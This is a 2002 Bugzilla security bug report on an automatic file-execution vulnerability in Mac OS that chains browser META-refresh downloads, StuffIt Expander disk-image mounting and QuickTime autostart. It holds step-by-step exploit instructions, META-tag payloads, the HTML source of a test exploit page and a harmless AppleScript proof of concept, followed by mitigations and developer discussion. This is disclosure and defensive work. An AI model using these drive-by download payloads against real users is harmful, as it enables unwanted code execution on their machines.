Open Bug 123152 Opened 23 years ago Updated 2 years ago

Downloaded executable may be automatically run by Stuffit

Categories

(Core :: Security, defect)

PowerPC
macOS
defect

Tracking

()

People

(Reporter: taiyo, Assigned: dveditz)

Details

From Bugzilla Helper:
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Mac_PowerPC)
BuildID:    2002021808

If a victim-user only brows a malicious web-page...

1.Browsers starts automatically download a compressed disc-image file 
  which includes a malicious program.
2.Archivers --such like Stuffit Expander-- automatically expand the 
  compressed file, and mount the disc-image.
3.Mac OS executes the malicious program included in the disc-image. It
  depends on QuickTime settings.

These 3 processes are done full-automatically, and ends in an instant.

Reproducible: Always
Steps to Reproduce:
  Step 1 : Make a disk image that contains "autostart" malicious 
           program.
  Step 2 : Compress this disk image file in *.sit form. (*.hqx, *.bin 
           also effective)
  Step 3 : Upload this *.sit file to some website and prepare a web page
           using Vuln. 2.*
   Step 4 : A victim browses the web page the *.sit file is downloaded
            automatically.*
   Step 5 : Stuffit Expander automatically extracts the *.sit file and
            mounts the disk image.
  Step 6 : The program in the image is executed automatically by 
           "Autostart CD-ROMs" of QuickTime.

Actual Results:  These  processes are done full-automatically, and ends in an instant.

Expected Results:    Disable download via JavaScript and <Meta HTTP-EQUIV="refresh"> 
and
   other method.
  Change initial setting to display dialog before every downloads.
  Disable download without uses's agreement.

Auto file execution vulnerability in Mac OS

We found a vulnerability in Mac OS and Mac OS X with Classic 
Environment. So, we report it for related vendors, browsers and Aladdin
Systems, Inc. and Apple Computer, inc.. In this document, we provide URL
to test exploit using this vulnerability.


[Summary]
If a victim-user only brows a malicious web-page...

1.Browsers starts automatically download a compressed disc-image file 
  which includes a malicious program.
2.Archivers --such like Stuffit Expander-- automatically expand the 
  compressed file, and mount the disc-image.
3.Mac OS executes the malicious program included in the disc-image. It
  depends on QuickTime settings.

These 3 processes are done full-automatically, and ends in an instant.


[discussion]
The vulnerability which we found is based on 3 vulnerabilities, and  is
generated by many software's complex relations.
To explain the vulnerability, we summarize these 3 vulnerabilities in 
below.
----------------------------------------------------------------------
  --Vuln. 1 (known at Bugtraq)
  "Macinosh IE file execuion vulerability" [BugTraq] 2002 Jan.22
<http://archives.neohapsis.com/archives/bugtraq/2002-01/0276.html>
  
  In this contribute, he says the vulnerable systems are "IE 5.0, 
  probably earlier, on Classic systems(below OS X)". But we found that
  the vulnerable systems are ....
    --Microsoft Internet Explorer 5.0 through 5.1.3
    --iCab Pre 2.7 and 2.7.1*
      * vendor of iCab knows this vulnerability already.
  
  This vulnerability is using META-tag in web page such like ....
  <META HTTP-EQUIV="refresh" CONTENT="1; 
   URL=file:///Macintosh%20HD/System%20Folder/Speakable%20Items/
   Put%20Computer%20To%20Sleep">
  
  It means, a malicious user can execute a local program in Macintosh 
  using a web page. But it's able to only execute a program exists in 
  full file-path in Macintosh which known by malicious users.
----------------------------------------------------------------------
  --Vuln. 2 (probably known in Japan only)
  Next day to Vuln. 1 is reported, a Japanese user, Mr. Mori present 
  other vulnerability related to Vuln. 1. at "Security Hole memo"
<http://www.st.ryukoku.ac.jp/%7Ekjm/security/memo/2002/
01.html#20020123_macie> (written in Japanese)
  
  This vulnerability, similar to Vuln.1, is using META-tag in web page
  such like ....
  <META HTTP-EQUIV="refresh" CONTENT="1;URL=http://somewhere.com/
   someone.sit">
  
  It's effective to download a malicious program automatically.
  
  So, if a malicious user uses combination of Vuln. 1 and this 
  vulnerability, can force a victim to download the program and execute
  it. But he/she must know full file-path of download folder in 
  Macintosh to execute it.
  
    vulnerable systems :
        Microsoft Internet Explorer 5.0 through 5.1.3
        iCab Pre 2.7 and 2.7.1*
       * vendor of iCab knows this vulnerability already.
----------------------------------------------------------------------
  --Vuln. 3 (we found, probably known in Japan only)
  According to Vuln.1 and 2, we found other vulnerability, a malicious
  user can launch arbitrary program without to know full file-path.
  
    Step 1 : Make a disk image that contains a malicious program.
    Step 2 : Compress this disk image file in *.sit form. (*.hqx, *.bin
             also effective)
    Step 3 : Upload this *.sit file to some website and prepare a web 
             page using Vuln. 1 and 2
    Step 4 : A victim browses the web page the *.sit file is downloaded
             automatically.*
    Step 5 : Stuffit Expander automatically extracts the *.sit file and
             mounts the disk image.
    Step 6 : The malicious program in the disk image is executed 
             automatically by browsers.*
    *Step 4 is based on Vuln. 2 and Step 6 is based on Vuln. 1.
  
  Because of using disk image, a malicious user is free to file-path of
  download folder. It's necessary to only prepare a malicious program 
  and a web page.
  
  In this vulnerability, Stuffit Expander plays an important role. It 
  does automatic extraction and auto-mount disk images. So, in consists
  of Vuln. 1, browsers execute the program.
  
    vulnerable systems :
        Stuffit Expander 5.x through 6.5.1 for Mac OS
        Stuffit Expander 6.5 or higher version for Mac OS X*1
        Microsoft Internet Explorer 5.0 through 5.1.3
        iCab Pre 2.7 and 2.7.1*2
        *1: Stuffit Expander 6.0 for X is not affected.
        *2: vendor of iCab knows this vulnerability already.

We make a test page for this vulnerability. Please try it.
http://www.u-struct.com/diary/img/20020126_IE5issue_noJS/
----------------------------------------------------------------------
Auto file execution vulnerability in Mac OS
----------------------------------------------------------------------
According to Vuln.1 to Vuln.3, we explain the "Auto file execution 
vulnerability in Mac OS".

This vulnerability which we found uses Vuln.2 and 3. It doesn't need 
Vuln. 1. It's many software's complex relations, such as browser and 
Stuffit Expander and QuickTime. It's like the computer-virus 
"AutoStart9805" using "Autostart CD-ROMs" of QuickTime. In this way, 
similar to Vuln.3, a malicious user can launch arbitrary program without
to know full file-path.

  Step 1 : Make a disk image that contains "autostart" malicious 
           program.
  Step 2 : Compress this disk image file in *.sit form. (*.hqx, *.bin 
           also effective)
  Step 3 : Upload this *.sit file to some website and prepare a web page
           using Vuln. 2.*
  Step 4 and 5 is same as Vuln. 3.
  Step 6 : The program in the image is executed automatically by 
           "Autostart CD-ROMs" of QuickTime.

In this vulnerability, 
  - browser downloads the *.sit in consists of Vuln.2.*
  - then, Stuffit Expander does automatic extraction and auto-mount the
    disk image.
  - and then, QuickTime executes the program in the image.
These are initial settings of each one. It's a teamwork. Only needs one
click in web page, It will start automatic download, extraction, 
mounting, and execution.

  vulnerable systems :
     Quick Time 2.1 or higher version
     MacOS 8.x, 9.x, and Mac OS X with Classic environment*1
     Stuffit Expander 5.x or higher version for Mac OS
     Stuffit Expande 6.5 or higher versionr for Mac OS X*2
     All browser using Stuffit Expander in post-process for download*3
     *1: using Mac OS X by oneself is not affected.
     *2: Stuffit Expander 6.0 for X is not affected.
     *3: Netscape 6.x and Mozilla shows dialog before download.
     *3: Probably, all network-client using Stuffit Expander in 
         post-process will be affected.


[exploit]
We make a test page for this vulnerability. Please try it.
http://www.u-struct.com/diary/img/20020131_OSissue_E/
When your conditions are fulfilled, "Exploit_HD_OSX.img.sit" is 
downloaded and extracted, and disk image "Exploit_HD_OSX" is mounted, 
and application "openTrash" is launched automatically.

--web page source:
	<HTML>
	<HEAD>
	<META HTTP-EQUIV="refresh" CONTENT="1;URL=http://www.u-struct.com/diary/
img/20020131_OSissue/Exploit_HD_OSX.img.sit">
	</HEAD>
	<BODY>
	<!--#exec cgi="../../../log.cgi"-->
	
	When your conditions are fulfilled, &quot;Exploit_HD_OSX.img.sit&quot;
is downloaded and extracted, and disk image &quot;Exploit_HD_OSX&quot; is
mounted, and application &quot;openTrash&quot; is launched automatically.
	
	<h4>Vulnerable conditions</h4>
	
	<b>In Mac OS :</b>
	<ul>
	<li>&quot;QuickTime setting&quot; control panel > &quot;Autostart CD-
ROMs&quot; is ON.<br>
	<li>Stuffit Expander > preferences > Disk images > &quot;Mount Disk
Images&quot; is ON.<br>
	<li>Stuffit Expander > preferences > Expanding > &quot;Continue to
expand&quot;  is ON.<br>
	<li>Each Browsers > each preference > download setting using Stuffit
Expander in post-process.<br>
	<li>Each Browsers > each preference > download setting is
&quot;enable&quot;<br>
	</ul>
	
	<b>In Mac OS X with Classic environment :</b>
	<ul>
	<li>Classic's &quot;QuickTime setting&quot; control panel >
&quot;Autostart CD-ROMs&quot; is ON.*<br>
	<li>Others are same as in Mac OS.<br>
	* &quot;Autostart CD-ROMs&quot; is influenced with Classic's
&quot;QuickTime setting&quot;. So, when Classic environment is not
booted, Mac OS X is not affected.
	</ul>
	
	
	</BODY>
	</HTML>


"openTrash" is application that prompt "This application opens trash 
Only" and open trash only.
	"openTrash" source(AppleScript):
		display dialog "this application opens your Trash only."
		
		tell application "Finder"
			open trash
			activate
		end tell


[solution]
Change the initial settings of each application below.

In Mac OS :
++required settings
 - "QuickTime setting" control panel > "Autostart CD-ROMs" > turn off.
 - Stuffit Expander > preferences > Disk images > "Mount Disk Images" 
   > turn off.
++more secure settings (not required)
 - Stuffit Expander > preferences > Expanding > "Continue to expand"
   > turn off.
 - Each Browsers > each preference > change download setting using 
   Stuffit Expander in post-process to "save to file"
 - Each Browsers > each preference > change download settings to 
   "disable"
  *such as in Internet Explorer, set the "Security Zones" to "high" 
   or "custom" (File downloads to "Disable").

In Mac OS X with Classic environment :
 - Classic's "QuickTime setting" control panel > "Autostart CD-ROMs"
   > turn off.*
 - Others are same as in Mac OS.
  *"Autostart CD-ROMs" is influenced with Classic's "QuickTime 
   setting". So, when Classic environment is not booted, Mac OS X is not
   affected.


[demand for related vendors]
We hope all vendors below to announce and advice to users about this 
vulnerability.

To Apple Computer, inc. :
 - Announce this vulnerability.
 - Adivice the setting of "Autostart CD-ROMs" to turn off for all 
   Macintosh users.

To Aladdin Systems, Inc. :
 - Announce this vulnerability.
 - Adivice the setting of "Mount Disk Images" to turn off for all users
   of Stuffit Expander.

To Microsoft Corporation :
 - Announce about Vuln.1. (contributer says "I contacted Microsoft 2 
   months ago, they did not reply.")


[demand for related vendors in near future]
We hope all related vendors to change the initial setting for this 
vulnerability in future release. Of course, these are a proposal. If 
there is other solutions, we will welcome.

To Apple Computer, inc. :
 - change the initial setting of "Autostart CD-ROMs" to OFF.
 - If users want to change the setting to turn ON, display warning.

To Aladdin Systems, Inc. :
 - change the initial setting of "Mount Disk Images" to OFF.
 - If users want to change the setting to turn ON, display warning.
 - If possible, deny "Autostart" program from disk image mounted by 
   Stuffit Expander.

To Microsoft Corporation :
 - For Vuln.1 and 3, provide fix patch or update Internet Explorer.

To all vendors :
 - Disable download via JavaScript and <Meta HTTP-EQUIV="refresh"> and
   other method.
 - Change initial setting to display dialog before every downloads.
 - Disable download without uses's agreement.


[our comment] ----- important -----
We contribute this vulnerability to BugTraq regardless of your 
correspondence in 2002 Feb.11. Because we already announce this 
vulnerability in Japan, at our web-site and "Security Hole memo ML" 
(these are in Japanese Language).

<http://www.u-struct.com/diary/view.cgi?ID=s20020128002516>
<http://homepage.mac.com/vm_converter/200202_diary.html#20020128_Mac_IE_vuln>
<http://memo.st.ryukoku.ac.jp/archive/200202.month/2846.html>

Probably, thousands of Japanese users already know this vulnerability.


[credit]

ISHIKAWA Yasuhisa <vm_converter@mac.com>
FUJII Taiyo <taiyo@vinet.or.jp>

We mail this report to apple.com, apple.co.jp, microsoft.com, 
microsoft.co.jp, aladdinsys.com, act2.co.jp, netscape.com, 
netscape.co.jp, mozilla.org, icab.de, omnigroup.com, opera.com.
+ security sensitive
Group: security?
Actually, is this even a bug in mozilla?

1) only affects IE
2) will probably run stuffit automatically if its enabled (I don't have a mac)
3) This seems to be an issue in stuffit, I think - I'mnot sure what mozilla can
do about it, directly.

Comments from someone with a mac?
More to the point, will Mozilla/Netscape bear any responsibility? Does this even
affect Mozilla users? Seems like it might. CCing a few Mac people.
while i'm sure the problem is more on apple's end, we don't prompt if the user
has turned off the "always ask me what to do with this type of file" checkbox in
the d/l dialog, correct?
True...it's probably a bad idea to check the "don't ask" box for file types that
Stuffit Expander is going to execute automatically. Should we grey out that
checkbox for certain file types, the way we grey out the Run button in the
download dialog?
I'm probably missing something here but wouldn't it be sensible to always show
the file download dialogue if the user didn't explicitly request the file (i.e.
it was opened automatically by a <META> refresh or JavaScript)?
Good idea, I'll look into it.
Status: UNCONFIRMED → ASSIGNED
Ever confirmed: true
Keywords: nsbeta1
Target Milestone: --- → mozilla1.0
Steve, Bill, could you guys take a look at this? I don't think it's a huge
issue, but I want to be sure.
nsbeta1-

Before you renominate, please query bugs marked nsbeta1+ keyword with [ADT# RTM]
in status whiteboard (where # is a number between 1 and 3) and make sure that
this bug is at least as important as those.
Keywords: nsbeta1nsbeta1-
This needs another look...
Keywords: nsbeta1-nsbeta1+
Whiteboard: [ADT2 RTM]
I think Bill Law is the person to address this.
Assignee: mstoltz → law
Status: ASSIGNED → NEW
Mitch and I talked about this the other day.

First, the seriousness of this exploit is reduced by a couple of factors in 
respect to Mozilla/Netscape.  We don't automatically launch StuffIt Expander so 
the user sees an alert first.  But the user can disable that alert.  Secondly, 
the exploit sample mentioned doesn't work with Mozilla-based browsers because 
we refuse to "load" the executable on that disk image since web content can't 
load file: URLs.

The auto-execute threat is still real.

The fix would seem to be to treat application/x-stuffit content as "executable" 
and only allow such content to be saved (not opened).  I suspect many users 
would object to that because that would prevent them from opening normal (non 
disk image) application/x-stuffit content, too.  I do not believe there is a 
way for us to look inside the content to discern whether it is a disk image.

My belief is that there are many, many content/application combinations that 
can do harm and we cannot block all of them.  E.g., Microsoft Word documents 
can do harm but there is no way we can not provide a means of opening such 
content directly in the application.

Mitch wondered whether we could determine whether the request to open the 
document was initiated by the user and block the automatic opening if it was.  
I do not know if that is possible (by the time we get to the level of code with 
which I am familiar, there is no indication of what initiated the request).

At the end of our discussion, Mitch said he was going to talk to Rick Potts 
about that aspect of the problem.  I took that to mean he was going to reassign 
this bug to Rick, but maybe that was just wishful thinking.

Comments?
Over to rpotts. Rick, could you have a look? Do you think this requires an
urgent fix?
Assignee: law → rpotts
I agree with mitch that we should prevent the 'auto opening' of executable
content...  I think that the 'auto execute' threat is potentially very bad.  

Unfortunately, i can't think of a way to distinguish between requests issued via
a link-click (or location bar) and those originating from javascript (or
elsewhere)...

Perhaps, we need to add a new 'security info' interface to nsIChannel
implementations that contains this sort of (and more) information ...

Then, whenever we had an nsIChannel we could get all of the relevent contextual
security information...

-- rick
perhaps we could come up with something simpler... like a load flag that
indicates the origin of the channel load?  even though nsIChannel is frozen,
there are reserved bits that we can play with.
Do you mean, a bit that means "this channel load was initiated by a user action?"
exactly.  the channel creator should be able to set this bit accordingly.
Maybe for 1.0.1 we should just release-note this: don't allow compressed files
to be  expanded automatically. Or do you think we need a real fix?
hey darin,

i'd thought about the load flag approach too :-) 

my only concern is whether this is only one 'instance of many' where we will 
need additional security-related information...

so, i thought it might be a good idea to start formalizing the information via 
a separate interface...

if we are confident that this is the *only* extra information that we'll need 
then i'm fine with a load flag...

otherwise, if it would be useful to more contextual information then perhaps we 
should start flushing out some kind of security-info interface...

-- rick
hmm.. another option perhaps.. can the principal provide this security info? 
that is can we use nsIChannel::owner to do what we need?
I spoke with ADT and Marketing, and the consensus is that we should wait on this
one instead of rushing a fix in that may have usability consequences. Removing
nsbeta1+.
Keywords: nsbeta1+
Whiteboard: [ADT2 RTM]
I don't like the idea of always showing the "what do you want to do with this
file" dialog when the url is loaded using javascript.  It's not hard to get a
user to click on a link, and it would be confusing to users and web developers
if the appearance of the dialog depended on how the URL was loaded.

Is there a version of Stuffit Expander that does not auto-execute the contents
of the archive?
I'm sure Stuffit can be configured not to auto-execute. This problem is not
entirely Mozilla's responsibility, but we should do what we can. Jesse, what do
you recommend? 
Target Milestone: mozilla1.0 → ---
How about an entry in the release notes advising users to turn off the 'auto
execute' pref in Stuffit Expander?
I see no 'auto execute' pref in StuffIt Expander 6.0.1 which came with Mac OS X
or the StuffIt Expander 6.5.1 which is the version available for download.  I
have to wonder if somehow these folks didn't get confused by a behavior in IE
5.1.x for Mac OS X where it would automatically decode a .hqx format download
(and possibly .bin format) and then tell the Finder to open the result assuming
it'd be a .sit file.  That was definitely an automatic execution exploit.
Summary: [FYI] Auto file execution vulnerability in Mac OS → Downloaded executable may be automatically run by Stuffit
Target Milestone: --- → mozilla1.2alpha
In an amazing bit of timing coincidence I happened to discover StuffIt Expander
6.5.1 will automatically mount disk images just before Mitch changed the
summary.  In my initial reading of the bug I failed to notice mention of the
"Mount Disk Images" option (logically in the Disk Images pane of the StuffIt
Expander prefs) being a necessary part of the trigger.  I still don't think this
merits any more effort on our part than noting in the Read Me and release notes
that users should turn that option off.  And perhaps an evangelism call to
Aladdin Systems telling them that they really should reconsider the default
setting for that pref.  Especially since Apple is talking about extending the
behavior of a mounted installer disk image in Jaguar.
Personally, I consider it a big security bug to execute anything automatically
from media inserted. Imagine that I have a CD, which a "friend" made for me and
which contains a bunch of HTML files or whatever, but it really also contains an
autoexecuting trojan. I know that this is the default in MS Windows for several
years, and unless I am missing something, this is a big mistake. Same applies
for Apple.

Could this happen in Windows, too? Is there any application that mounts
something (during "opening" it) in Windows that looks like a CD to Windows? E.g.
one of those CD emulators? Is WinZip known to be safe?

So, in addition to contacting StuffIt, I would apply some conviction to Apple.
I'd even do it myself, if somebody gives me [a] good contact[s].
If I understand the bug text correctly, this vulnerability has been publically
disclosed for many months. Why is it still closed in bugzilla?
Let's just add a release note telling people to configure Stuffit not to autorun.
Group: security?
Keywords: relnote
Suggested release note:

"
There is a severe vulnerability in the combination of browser (pretty much any
browser), StuffIt and Quicktime on Macs.

Often, StuffIt is configured to automatically open files that it can handle on
behalf of the browser. For example, if you click on a link with a sit file,
StuffIt is being called and opens the file. This is a normal process to allow
the user to use files placed on the web. in uncommon formats.

One of the file types StuffIt handles are disk images. When asked to open them,
StuffIt mounts them directly on the filesystem.

Quicktime has a feature to automatically start applications as soon as disks are
inserted. That is probably intended for multimedia CDs and installers. However,
it is also incredibly dangerous, if you insert an untrusted medium, because a
started, malicious application can do pretty much take over the system.

Now, if you take all these together, you get the following vulnerability: You
visit a malicious webpage. The author offers a link to a disk image and tricks
you into clicking it or the webpage even triggers the opening of the disk image
itself, e.g. using JavaScript or refresh. The browser will tell StuffIt to open
the disk image. StuffIt will mount it. Quicktime will start the malicious
application that the author placed there. The author of the malicious webpage
can now take over your system.

The problem is eased by the fact that Beonex Communicator by default asks before
opening external helper applications like StuffIt, but many users probably
disabled that or don't expect problems in this case.

There is not much that browsers could do against that. In my opinion, the main
problem is with Quicktime running applications from potentially untrusted
sources, and part of the problem with StuffIt not guarding against that.

Most of that behaviour is adjustable by the user, in any of the applications.
Please so that. We recommend to disable the autostart feature in Quicktime.

Ben Bucksch
"

Please correct me, if there are errors or misleading statements.
Are you really suggesting we put 8 paragraphs into the release notes for this issue?
No, this is intended as an immediate warning to users. I don't think that
release notes alone are appropriate for security warnings.
I think that release note is rediculous. There's no way I'm letting that into
our already too long release notes. Come up with two sentences that describe the
issue and then we can talk. 
how about posting the full text of the problem description elsewhere?  then we
can include just a link to the full text from the release notes.  the release
notes could have a one or two sentence summary of the problem with a pointer to
more information for the curious reader.
In relation to comments 30-33, how about one paragraph?

"In combination with StuffIt and QuickTime, it is possible for untrusted
applications to be started from downloaded disk images (files with the extension
.dmg in their name).  Until a better solution is put in place, it is suggested
that users disable the autostart feature in Quicktime."
"In combination with StuffIt, QuickTime and downloadable disk images (.dmg
files), it is possible that untrusted applications are automatically started
from a website. It is suggested that users disable the autostart feature in
Quicktime."
Just how does someone disable the autostart feature in Quicktime?  I've been
looking for a way to do that since Apple started shipping .dmg files with
auto-start installers on them, because I knew that was a bad thing when they
started doing that.  There apparently is no such option in the OS X version of
QuickTime (I can't find it anyway).  I remember very clearly seeing that option
in the classic version of QuickTime, but it's not there on OS X, either in the
QuickTime Player application preferences or in the QuickTime preference panel in
the System Preferences.
Dave is right, QT in OS X lacks an option to disable automagic opening of a
movie when a volume is mounted.  We need to change the recommendation to
disabling the automatic mounting of disk images by StuffIt Expander.  Especially
since Apple has now expanded the functionality of disk images so they can
actually install software on your machine when they're mounted.
Actually, watching the process, it appears to be done by DiskCopy itself while
it's mounting the image (Stuffit Expander just passes the dmg file off to
DiskCopy after it finishes).  But I don't see a preference to disable it in
DiskCopy, either.
bug owner needs to be updated.
The StuffIt Expander pref UI for this is pretty obvious - the Disk Images pref
pane has a Mount Disk Images checkbox we need to tell the user to turn off
Giving to Mitch for now.
Assignee: rpotts → mstoltz
Target Milestone: mozilla1.2alpha → ---
Assignee: security-bugs → dveditz
QA Contact: bsharma → toolkit
Keywords: relnote
Severity: normal → S3
You need to log in before you can comment on or make changes to this bug.